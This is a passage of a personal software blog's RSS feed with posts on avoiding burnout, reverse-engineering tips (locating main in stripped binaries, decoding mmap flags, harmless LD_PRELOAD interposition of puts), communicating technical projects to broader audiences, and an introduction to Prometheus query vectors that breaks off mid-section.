&lt;p&gt;So overall a straighforward challenge, but it was fun to only rely on &lt;code class=&quot;language-text&quot;&gt;gdb&lt;/code&gt; to solve it. This could have likely be solved with &lt;code class=&quot;language-text&quot;&gt;angr&lt;/code&gt;, but I couldn’t find a decent way of doing it, let me know if you do!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Thoughts on burnout]]></title><description><![CDATA[Patterns that may lead to burnout]]></description><link>https://bernardoamc.com/on-burnout/</link><guid isPermaLink="false">https://bernardoamc.com/on-burnout/</guid><pubDate>Fri, 05 Jul 2024 18:00:00 GMT</pubDate><content:encoded>&lt;p&gt;I’ve been working really hard over the past few months on a project and yet I feel I’m further away from burning out than I was most of this past year. This feels counterintuitive, so I decided to write down some thoughts on the topic in the hopes that I will become more self-aware of patterns that might lead to burnout.&lt;/p&gt;
&lt;p&gt;I’m convinced that burning out is not directly related to the amount of work being done, it’s totally possible to achieve work-life balance and still burn out. Of course working &lt;em&gt;for really long hours&lt;/em&gt; and neglecting your personal life will increase your chances of burning out, so that’s not what we are talking about here.&lt;/p&gt;
&lt;p&gt;With that in mind, I tried to pinpoint what were the characteristics of my work over the past few years that has led to my burnout symptoms. Nothing here is groundbreaking, but I hope it will be helpful to at least one more person besides myself.&lt;/p&gt;
&lt;h2&gt;Autonomy&lt;/h2&gt;
&lt;p&gt;Feeling a lack of autonomy is a big red flag for me. It’s not necessarily related to the autonomy of deciding &lt;em&gt;what to work on&lt;/em&gt;, but rather the autonomy of deciding &lt;em&gt;how to work on it&lt;/em&gt;. As long as everyone is aligned, having the flexibility to decide how to work on a problem is a big motivator for me. This is not always possible, but it’s something I will try to optimize for moving forward.&lt;/p&gt;
&lt;p&gt;I’ve observed that communicating effectively increases my chances of being granted this autonomy, so it’s something to strive for. What I mean by that is framing my communication style to match what leadership expects. Some useful questions to keep in mind when communicating are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;What will be different when this effort is done?&lt;/li&gt;
&lt;li&gt;How will this effort impact the business?&lt;/li&gt;
&lt;li&gt;Are there any clear metrics (financial, efficiency, efficacy, or otherwise) that can be framed up to help show the current state versus the desired state?&lt;/li&gt;
&lt;li&gt;How can you scope this work to help clarify the breadth of impact?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This is what leadership is thinking about, so framing your communication in this way will help you reach alignment and get buy-in. Talk to your manager or other senior engineers if you need help framing your proposal.&lt;/p&gt;
&lt;h2&gt;Context Switching&lt;/h2&gt;
&lt;p&gt;Being trusted is not enough when you don’t have control over your own time. Being unable to focus on a particular problem due to frequent context switching is a big source of personal stress. Something that helped me in this regard and that I will keep improving on is to strategically arrange my calendar to have blocks of dedicated time to focus on a problem. I’ve achieved some success by blocking my calendar for a few hours every day and clustering meetings in the morning or afternoon.&lt;/p&gt;
&lt;p&gt;You can also reduce the amount of context switching by making sure your work is visible. This can be done by talking directly to your manager and explaining all the things that are stealing your focus, your manager can help you by delegating work to others or prioritizing efforts. It’s also worthwhile to do your work in public. Avoid handling work on private messages, instead move the discussion to public channels and involve other teammates when possible.&lt;/p&gt;
&lt;h2&gt;Momentum&lt;/h2&gt;
&lt;p&gt;I find this is a topic that is not discussed enough in the context of burnout. The feeling of making constant progress really motivates me and I get a lot of energy from it. This is also the time where I have the most context about a particular domain, so it’s the time where I can collaborate with others more effectively. Finding ways to protect this momentum is something that I’m still working on.&lt;/p&gt;
&lt;p&gt;Striving to have good documentation and clear next steps for myself and others is a big part of this. Having good documentation for my projects not only increases the chances of having more people that can contribute to it, but it also helps me to get back on track after a break. Both of these things are really important to keep momentum going.&lt;/p&gt;
&lt;p&gt;Pair programming with peers that are as motivated as me to work on a project tends to increase my momentum. We tend to feed off each other’s energy and bounce ideas really quickly with the added benefit of a quick code review cycle.&lt;/p&gt;
&lt;p&gt;Something else that I’ve learned the hard way is that just because a project is a priority for you or your team, it doesn’t mean it’s a priority for other teams around you. My general rule of thumb at this point is to always make sure that teams that my project depends on are treating my project with a similar level of priority. If that’s not the case, I will likely lose momentum waiting for code reviews, feedback or features.&lt;/p&gt;
&lt;p&gt;Last but not least, managing my time effectively is also a big part of this, so the same tips from the previous section apply here.&lt;/p&gt;
&lt;h2&gt;Recognition&lt;/h2&gt;
&lt;p&gt;Working on something that is not recognized by your peers or leadership is really demotivating. The lesson I’ve learned here is that I should make my own work visible to my manager and leadership and make sure that they are aligned with it. Working asynchronously makes this even more important, it’s really easy to spend hours per week helping others in obscure Slack channels and direct messages and not having anything to show for it. These days I simply share a weekly update with my manager summarizing these interactions and the impact they had on my work. It also helps my manager to identify silos and bottlenecks in the team.&lt;/p&gt;
&lt;p&gt;Changes in management or leadership are special cases where I tend to be extra verbose about my work. The earlier I communicate, the sooner I can get feedback and adjust my work accordingly, or make my case for why I’m working on something and it should be a priority.&lt;/p&gt;
&lt;p&gt;Recognizing your peers is also important and an area that I’m still working on.&lt;/p&gt;
&lt;h2&gt;Values&lt;/h2&gt;
&lt;p&gt;Over time I’ve noticed that it’s common for companies (orgs, teams) to shift their values depending on the stage they are in. This is not necessarily a bad thing, but it’s something I’ve learned to be aware of. Is the work I’m asked to do aligned with my values? Are the people around me open for change and feedback? Am I willing to change my values to align with theirs? If not, it might be time to move teams or companies.&lt;/p&gt;
&lt;p&gt;This might be understood as an “us versus them” mentality and that is absolutely not what I want to convey here. You are part of a team and should have explicit conversations about culture and values with your teammates. You are not subject to circumstances, you can help shape outcomes even when faced with challenging situations.&lt;/p&gt;
&lt;h2&gt;Community&lt;/h2&gt;
&lt;p&gt;I’ve noticed that I’m much more likely to lose energy if I don’t have people around me to collaborate and interact with. Helping and being helped by others is a big source of motivation for me and I cannot remember a time where I had momentum and did not have others to collaborate with.&lt;/p&gt;
&lt;p&gt;Pair programming, good documentation and selling your project to others are tools I’ve used to increase my chances of having others to collaborate with. I’ve learned to be more deliberate about making sure I’m not working in a silo and that it’s fine to ask for help from your peers or managers. People are generally happy to help if they can.&lt;/p&gt;
&lt;h2&gt;Doing things that energize you&lt;/h2&gt;
&lt;p&gt;Preserving time for things that fuel me is one of the most important aspects to avoid burnout. This can be partially done at work, but it’s usually related to hobbies that happen outside of work. For me that would involve activities like climbing, hiking or playing games with friends. If I don’t take time to actively do those things because I’m tired or stressed, things snowball fast. Make sure to do the things you love, even if you don’t feel motivated to do them. For example, sometimes I go climbing even when I feel like doing nothing and once I’m at the climbing gym I end up having a great time and feeling much better.&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;You might have noticed that I’ve not listed things like “poor management”, “poor leadership” or “lack of rewards”. These are not things that I can control, so I’ve tried to focus on things that I can control or influence and that have helped me in the past. I’m also sure there are other patterns and nuances that I’m failing to capture here, so please reach out if you have any feedback or suggestions, I would love to hear from you. See you next time!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Reverse Engineering Tips]]></title><description><![CDATA[Going over commands that helped me reverse engineer a binary or two.]]></description><link>https://bernardoamc.com/reverse-engineering-tips/</link><guid isPermaLink="false">https://bernardoamc.com/reverse-engineering-tips/</guid><pubDate>Sun, 28 Apr 2024 08:00:00 GMT</pubDate><content:encoded>&lt;p&gt;This blog post will be very different from my usual ones in which we either have a problem to solve or some idea to explore. This time we will have a disjointed set of techniques vaguely related to reverse engineering.&lt;/p&gt;
&lt;h2&gt;Locating main in a stripped binary&lt;/h2&gt;
&lt;p&gt;The TL;DR; is that &lt;code class=&quot;language-text&quot;&gt;__libc_start_main()&lt;/code&gt; receives the address of &lt;code class=&quot;language-text&quot;&gt;main&lt;/code&gt; as its first argument, so we can:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Use &lt;code class=&quot;language-text&quot;&gt;readelf&lt;/code&gt; to find the address of &lt;code class=&quot;language-text&quot;&gt;__libc_start_main()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Check the address that is being called from it, which will be &lt;code class=&quot;language-text&quot;&gt;main&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;That would be:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;bash&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;$ readelf -h &amp;lt;binary&amp;gt; | grep Entry
Entry point address:               0x103120&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;Then we can &lt;code class=&quot;language-text&quot;&gt;gdb&lt;/code&gt; our way through it:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;bash&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;$ gdb ./&amp;lt;binary&amp;gt;

&amp;gt; b *0x103120
&amp;gt; run&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;Now we can step through a few instructions until we hit the &lt;code class=&quot;language-text&quot;&gt;CALL&lt;/code&gt; instruction to &lt;code class=&quot;language-text&quot;&gt;__libc_start_main()&lt;/code&gt;. Since the first argument will be our &lt;code class=&quot;language-text&quot;&gt;main&lt;/code&gt; address we can inspect the value of &lt;code class=&quot;language-text&quot;&gt;rdi&lt;/code&gt; before the call and break on that address.&lt;/p&gt;
&lt;h2&gt;Deriving the meaning of argument masks&lt;/h2&gt;
&lt;p&gt;Let’s say we have a command like the following one in our binary:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;c&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;char* buf = mmap(nullptr, _init, 0, 0x21, 0xffffffff, 0);&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;We know that &lt;code class=&quot;language-text&quot;&gt;mmap&lt;/code&gt; expects the following arguments:&lt;/p&gt;
&lt;deckgo-highlight-code   highlight-lines=&quot;undefined&quot;&gt;
          &lt;code slot=&quot;code&quot;&gt;void * mmap(void *addr, size_t len, int prot, int flags, int fd, off_t offset);&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;But &lt;code class=&quot;language-text&quot;&gt;prot&lt;/code&gt; and &lt;code class=&quot;language-text&quot;&gt;flags&lt;/code&gt; are a conjunction of &lt;code class=&quot;language-text&quot;&gt;or&lt;/code&gt;ed values. So how do we figured out what &lt;code class=&quot;language-text&quot;&gt;0&lt;/code&gt; and &lt;code class=&quot;language-text&quot;&gt;0x21&lt;/code&gt; means for the &lt;code class=&quot;language-text&quot;&gt;proto&lt;/code&gt; and &lt;code class=&quot;language-text&quot;&gt;flags&lt;/code&gt; arguments?&lt;/p&gt;
&lt;p&gt;The first thing to figure out is the name of the &lt;code class=&quot;language-text&quot;&gt;header&lt;/code&gt; file responsible for &lt;code class=&quot;language-text&quot;&gt;mmap&lt;/code&gt;. Luckily &lt;code class=&quot;language-text&quot;&gt;man&lt;/code&gt; can give us an answer.&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;bash&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;$ man 2 mmap

NAME
     mmap – allocate memory, or map files or devices into memory

SYNOPSIS
     #include &amp;lt;sys/mman.h&amp;gt;&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;Now we can use &lt;code class=&quot;language-text&quot;&gt;gcc&lt;/code&gt; with the following flags:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;-E&lt;/code&gt; to only run the preprocessor&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;-&lt;/code&gt; to receive the input from &lt;code class=&quot;language-text&quot;&gt;stdin&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;-dM&lt;/code&gt; to print macro definitions in -E mode instead of normal output&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Putting all of those together we can find the values for &lt;code class=&quot;language-text&quot;&gt;proto&lt;/code&gt; and &lt;code class=&quot;language-text&quot;&gt;flags&lt;/code&gt; by checking in our &lt;code class=&quot;language-text&quot;&gt;man&lt;/code&gt; pages for the expected flag formats:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;bash&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;echo &amp;#39;#include &amp;lt;sys/mman.h&amp;gt;&amp;#39; | gcc -E - -dM | rg &amp;quot;MAP_&amp;quot;
#define MAP_32BIT 0x8000
#define MAP_ANON 0x1000
...
#define MAP_SHARED 0x0001&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;and&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;bash&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;$ echo &amp;#39;#include &amp;lt;sys/mman.h&amp;gt;&amp;#39; | gcc -E - -dM | rg &amp;quot;PROT_&amp;quot;
#define PROT_EXEC 0x04
#define PROT_NONE 0x00
#define PROT_READ 0x01
#define PROT_WRITE 0x02&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;In the case of &lt;code class=&quot;language-text&quot;&gt;mmap&lt;/code&gt; we can also check the output of the function call with &lt;code class=&quot;language-text&quot;&gt;info proc mappings&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Figuring out headers search path&lt;/h2&gt;
&lt;p&gt;We can use &lt;code class=&quot;language-text&quot;&gt;gcc&lt;/code&gt; to give us this answer.&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;bash&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;$ gcc -E -Wp,-v -xc /dev/null

# ...
#include &amp;quot;...&amp;quot; search starts here:
#include &amp;lt;...&amp;gt; search starts here:
 /usr/local/include
 ...
End of search list.&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;gcc --help&lt;/code&gt; has a nice explanation for each of those flags.&lt;/p&gt;
&lt;h2&gt;“Replacing” functions in dynamically linked binaries&lt;/h2&gt;
&lt;p&gt;We an use &lt;code class=&quot;language-text&quot;&gt;LD_PRELOAD&lt;/code&gt; to call our own version of our functions instead of whatever else is being dynamically linked to it. Let’s say we have a binary like this one:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;c&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;#include &amp;lt;stdio.h&amp;gt;

void main() {
  puts(&amp;quot;Original&amp;quot;);
}&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;We can compile our own shared library with our own &lt;code class=&quot;language-text&quot;&gt;puts&lt;/code&gt; function:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;c&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;#include &amp;lt;stdio.h&amp;gt;

int puts(const char *s) {
  printf(&amp;quot;Hijacked&amp;quot;);

  return 0;
}&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;Now need to compile it as a shared library:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;bash&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;$ gcc our_puts.c -o our_puts.so -fPIC -shared -ldl&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;Finally we can execute our binary:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;bash&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;$ LD_PRELOAD=&amp;quot;./our_puts.so&amp;quot; ./binary
Hijacked&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;h3&gt;What if we also want to use the value of the original function?&lt;/h3&gt;
&lt;deckgo-highlight-code language=&quot;c&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;#define _GNU_SOURCE
#include &amp;lt;dlfcn.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;

// This will be the pointer to our original puts function
int (*original_puts)(const char *s);

int puts(const char *s) {
  if(!original_puts) {
    original_puts = dlsym(RTLD_NEXT, &amp;quot;puts&amp;quot;);
  }

  printf(&amp;quot;Still hijacked&amp;quot;);

  return original_puts(s);
}&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;We are using &lt;code class=&quot;language-text&quot;&gt;dlsym&lt;/code&gt; with &lt;code class=&quot;language-text&quot;&gt;RTLD_NEXT&lt;/code&gt; from &lt;code class=&quot;language-text&quot;&gt;dlfcn.h&lt;/code&gt; to get the pointer to the next version of &lt;code class=&quot;language-text&quot;&gt;puts&lt;/code&gt; in our preload chain.&lt;/p&gt;
&lt;p&gt;Notice the &lt;code class=&quot;language-text&quot;&gt;#define _GNU_SOURCE&lt;/code&gt; in the beginning of our source code. It has to be defined according to our &lt;code class=&quot;language-text&quot;&gt;man&lt;/code&gt; pages in order for &lt;code class=&quot;language-text&quot;&gt;RTLD_NEXT&lt;/code&gt; to be defined as we can see in the snippet below:&lt;/p&gt;
&lt;deckgo-highlight-code   highlight-lines=&quot;undefined&quot;&gt;
          &lt;code slot=&quot;code&quot;&gt;The _GNU_SOURCE feature test macro must be defined in order to
obtain the definitions of RTLD_DEFAULT and RTLD_NEXT from
&amp;lt;dlfcn.h&amp;gt;.&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;deckgo-highlight-code language=&quot;bash&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;$ gcc our_puts.c -o our_puts.so -fPIC -shared -ldl`&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;Finally we can execute our binary:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;bash&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;$ LD_PRELOAD=&amp;quot;./our_puts.so&amp;quot; ./binary
Still hijacked
Original&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;This is an area that I’m not familiar with, so these techniques are likely not optimal. If you have better (or different) ways to achieve what has been demonstrated please reach out and share it with me. See you next time!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Communicating technical projects]]></title><description><![CDATA[How to communicate technical projects with a broader audience?]]></description><link>https://bernardoamc.com/communicating-technical-projects/</link><guid isPermaLink="false">https://bernardoamc.com/communicating-technical-projects/</guid><pubDate>Tue, 28 Nov 2023 18:00:00 GMT</pubDate><content:encoded>&lt;p&gt;As you progress in your career and/or your company grows and becomes more structured, you will find yourself in a position where you need to communicate with a broader audience that might not be entirely familiar with the problem you are trying to solve.. This is a great opportunity to showcase your work and the work of your team, but it can also be a source of anxiety if you are not used to it.&lt;/p&gt;
&lt;p&gt;In this post I will share some tips that have helped me in the past and mistakes I’ve made along the way.&lt;/p&gt;
&lt;h2&gt;Why is this challenging?&lt;/h2&gt;
&lt;p&gt;Let’s be honest, we are simply not used to it. When we are early in our careers most of our communication is done with our peers or direct managers, who are also familiar with the problem we are trying to solve and the context around it. Our careers are also overindexed on technical skills, so we tend to focus on communicating the technical aspects of our work. This goes on for a while and we get really good at it, we are able to communicate complex technical problems and solutions in a way that is understandable to our peers.&lt;/p&gt;
&lt;p&gt;Things start shifting as we progress in our careers and soon our audience starts changing, expanding might be a better word. Suddenly we are tasked with communicating with an audience that &lt;em&gt;might not be familiar with the problem we are trying to solve&lt;/em&gt;. It starts gradually, maybe you are asked to present your work in a team meeting, or maybe you are now the face of your team when interacting with an adjacent team across the company. Maybe your are even leading a project? If you got here, you will be the person with the most context in a particular situation more often than not.&lt;/p&gt;
&lt;p&gt;So how do we adjust our communication style and get better at it?&lt;/p&gt;
&lt;h2&gt;Identify your audience&lt;/h2&gt;
&lt;p&gt;This is the most important step in my opinion and it’s also the one that is most often overlooked. You need to understand who you are communicating with and what is the message you want to convey. This will help you tailor your message to your audience and avoid wasting time on back and forths simply because you are not communicating in a way that is understandable to them.&lt;/p&gt;
&lt;p&gt;This used to happen fairly frequently in conversations between me and my wife. I would be talking about a technical problem I was trying to solve and she simply didn’t have the required context to understand what I was talking about, forcing her to ask clarifying questions that I would struggle to answer without the usual technical jargon. It also happened the other way around, she would be talking about marketing concepts and acronyms that I was not familiar with and we would end up in the same situation. “We are optimizing CAC across diverse acquisition channels and fine-tuning from TOFU to BOFU.”, simple stuff right? Sure.&lt;/p&gt;
&lt;p&gt;Of course over time we learned things from each other’s fields and this became less of an issue, but it was a great opportunity to learn how to communicate with a different audience. You will likely not spend as much time with your audience as you do with your partner or friends, so you need to be more deliberate about it.&lt;/p&gt;
&lt;p&gt;In summary, the first question to ask yourself is:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;“Who is my audience?”&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Are they technical? What are they familiar with? What is their area of expertise? What is their interest in the topic? As you can see asking yourself that first question will lead you to other questions that might help you identify your audience and tailor your message. Let’s see how we can do that.&lt;/p&gt;
&lt;h2&gt;Tailor your message&lt;/h2&gt;
&lt;p&gt;As a general rule of thumb, it is often more important to communicate the &lt;em&gt;what&lt;/em&gt; and the &lt;em&gt;why&lt;/em&gt; than the &lt;em&gt;how&lt;/em&gt;. You should focus on the problem you are trying to solve and how your solution solves it. If your audience is interested in the &lt;em&gt;how&lt;/em&gt; they will ask you about it and in this case you can go deeper into the technical details of your solution. Avoid jargon and acronyms that are not common knowledge. If you need to use them, make sure to explain what they mean.&lt;/p&gt;
&lt;p&gt;Let’s look at an example:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Situation 1&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;You are trying to solve a bottleneck in your Kafka consumers after noticing that your application is not processing messages fast enough. This is causing your order processing to be delayed and your customers are not receiving their order confirmation emails in a timely manner. Your solution included scaling your Kafka consumers horizontally, optimizing some database queries and also removing synchronous calls to your email service by using background jobs.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;How do we communicate the problem?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Unless your audience is also hands-on in your application, the terms Kafka, consumers, background jobs and database queries are not going to be very helpful. Instead, you can focus on the problem you are trying to solve. Something like: “We noticed that our customers are not receiving their order confirmation emails in a timely manner, this is causing a lot of confusion and frustration. We are working on a solution to fix this.”&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;How do we communicate the solution?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Again, unless your audience is also hands-on in your application, the terms Kafka, consumers, background jobs and database queries are not going to be very helpful. Instead, you can focus on the solution you are implementing. Something like: “We are scaling our email processing to handle more emails per second, this will allow us to send order confirmation emails faster and avoid delays. After our changes we noticed that our email delay went from 10 minutes to 1 minute on average.”&lt;/p&gt;
&lt;p&gt;I can guarantee that your audience will be extremely happy to hear about that update, and if they are interested in the technical details they will ask you about it.&lt;/p&gt;
&lt;p&gt;But things are not always that simple, let’s look at another example:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Situation 2&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;You have a project in your hands to solve the problem of tracking the number of security issues across your organization. Leadership already acknowledged that this is a problem and they are looking for a solution. You are tasked with coming up with a solution and are now presenting the current state of the project to the broader organization over the past week or so.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;How do we communicate the problem?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Your probably don’t. They already know the problem at hand, especially if it is documented somewhere. You can remind them if you feel this will help, but you should focus on the solution you are proposing.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;How do we communicate the solution?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This is where things get interesting. You are mid way through your project and you are heads-down on the technical details of your solution. You are probably thinking about the database schema, how to create dashboards, etc. But your audience is not interested in that, they want to know how this will help them. Again, you should focus on the &lt;em&gt;what&lt;/em&gt; and the &lt;em&gt;why&lt;/em&gt; of your solution.&lt;/p&gt;
&lt;p&gt;So let’s say you managed to implement half of our intended solution so far and it involves surfacing data in a dashboard somewhere and also modeling the data in a database. Why is the dashboard important? Because it will allow us to track the number of security issues across the organization and also identify trends. Why is the database important? Because it will allow us to store the data in a way that is easy to query and also respond to questions that our stakeholders likely care about like “How many security issues did we have last month?” or “How many security issues are past their SLA?“.&lt;/p&gt;
&lt;p&gt;This brings us to the other two questions to ask yourself:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;“What does my audience care about?”&lt;/li&gt;
&lt;li&gt;“What is the best way to convey this message?”&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Ask for feedback&lt;/h2&gt;
&lt;p&gt;This is a great way to improve your communication skills. Your peers and managers will be glad to help you improve your communication skills since they are the ones directly benefiting from it. Ask for &lt;em&gt;actionable&lt;/em&gt; feedback, you want to receive something like “I noticed that you used a lot of acronyms in your presentation, I think it would be helpful to explain what they mean.” since it is much more helpful than “I didn’t understand what you were talking about.”.&lt;/p&gt;
&lt;h2&gt;Use visuals&lt;/h2&gt;
&lt;p&gt;Using visuals is a great way to convey your message. It can be a diagram, a graph, a screenshot or even a video. Besides being more engaging, it also prevents your from being overly technical since you will be condensing your message into a visual representation. It also helps you identify gaps in your message.&lt;/p&gt;
&lt;h2&gt;Empathize with your audience&lt;/h2&gt;
&lt;p&gt;Empathize with your audience. Put yourself in their shoes and think about what they would like to hear. I’m sure there were moments where you were part of the audience and wished for a different delivery.&lt;/p&gt;
&lt;h2&gt;Be concise&lt;/h2&gt;
&lt;p&gt;Is your audience time constrained? If so, you should focus on the most important things and avoid going into too much detail. Always assume that this is the case, unless you have a reason to believe otherwise. You can always share more details later if they are interested.&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;Getting better at communicating technical projects is a great way to showcase your work and the work of your team. It is also a great way to build trust with your peers and managers. It is a skill that is often overlooked and it is not something that we are used to doing, but it is a great way to learn and grow. Here are the three questions to ask yourself:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;“Who is my audience?”&lt;/li&gt;
&lt;li&gt;“What does my audience care about?”&lt;/li&gt;
&lt;li&gt;“What is the best way to convey this message?”&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;I hope this was helpful, if you have any feedback or questions please reach out to me! See you next time.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Prometheus onboarding]]></title><description><![CDATA[Let's go over concepts that can make using Prometheus more intuitive as a new user.]]></description><link>https://bernardoamc.com/prometheus-onboarding/</link><guid isPermaLink="false">https://bernardoamc.com/prometheus-onboarding/</guid><pubDate>Mon, 27 Feb 2023 08:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://prometheus.io/&quot;&gt;Prometheus&lt;/a&gt; is an open-source systems monitoring and alerting toolkit. It collects and stores its metrics as time series data, i.e. metrics information is stored &lt;em&gt;with the timestamp&lt;/em&gt; at which it was recorded, alongside optional key-value pairs called labels.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Disclaimer&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;I’m only covering Prometheus from an end-user perspective. This means we will investigate concepts related to metrics and querying while completely skipping infrastructure topics like installation, configuration or instrumentation.&lt;/p&gt;
&lt;h2&gt;Intro&lt;/h2&gt;
&lt;p&gt;Recently I’ve been migrating dashboards from Datadog to Prometheus, the goal of this post is to showcase concepts that could have helped me understand how to better query and represent metrics in Prometheus.&lt;/p&gt;
&lt;h2&gt;Queries and Vectors&lt;/h2&gt;
&lt;p&gt;Having grasped the terminology early on would have helped me understand why certain queries were not working or returning unexpected results.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;query&lt;/code&gt; or &lt;code class=&quot;language-text&quot;&gt;range_query&lt;/code&gt; are API calls fetching data&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;instant vector&lt;/code&gt; or &lt;code class=&quot;language-text&quot;&gt;range vector&lt;/code&gt; is the shape of the data returned by your queries&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In Prometheus we have one of the following combinations:&lt;/p&gt;
&lt;h4&gt;Query returning an instant vector&lt;/h4&gt;
&lt;p&gt;This is a query that returns a single vector containing a timestamp and the value associated with this timestamp &lt;em&gt;for each
combination of labels&lt;/em&gt; we are querying for.&lt;/p&gt;
&lt;p&gt;Suppose we have a &lt;code class=&quot;language-text&quot;&gt;counter&lt;/code&gt; (some value that can only go up) called &lt;code class=&quot;language-text&quot;&gt;products_sold_total&lt;/code&gt; and that we have two distinct instances in our application. Querying for the following:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;ruby&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;products_sold_total&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;Would produce something like:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th align=&quot;left&quot;&gt;Name&lt;/th&gt;
&lt;th align=&quot;left&quot;&gt;Counter&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;products_sold_total{“instance”=“a”}&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;1000&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;products_sold_total{“instance”=“b”}&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;834&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h4&gt;Query returning a vector of instant vectors&lt;/h4&gt;
&lt;p&gt;You can think of this combination as running a query that returns an instant vector multiple times in distinct timestamps.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;This result can be graphed&lt;/strong&gt; since Prometheus can use each value per timestamp.&lt;/p&gt;
&lt;h4&gt;Query returning a range vector&lt;/h4&gt;
&lt;p&gt;This is a query that returns a vector containing multiple timestamps with its associated values. It is important to mention that these events are still nested under a &lt;strong&gt;single timestamp&lt;/strong&gt;. This is the return of a query like:&lt;/p&gt;
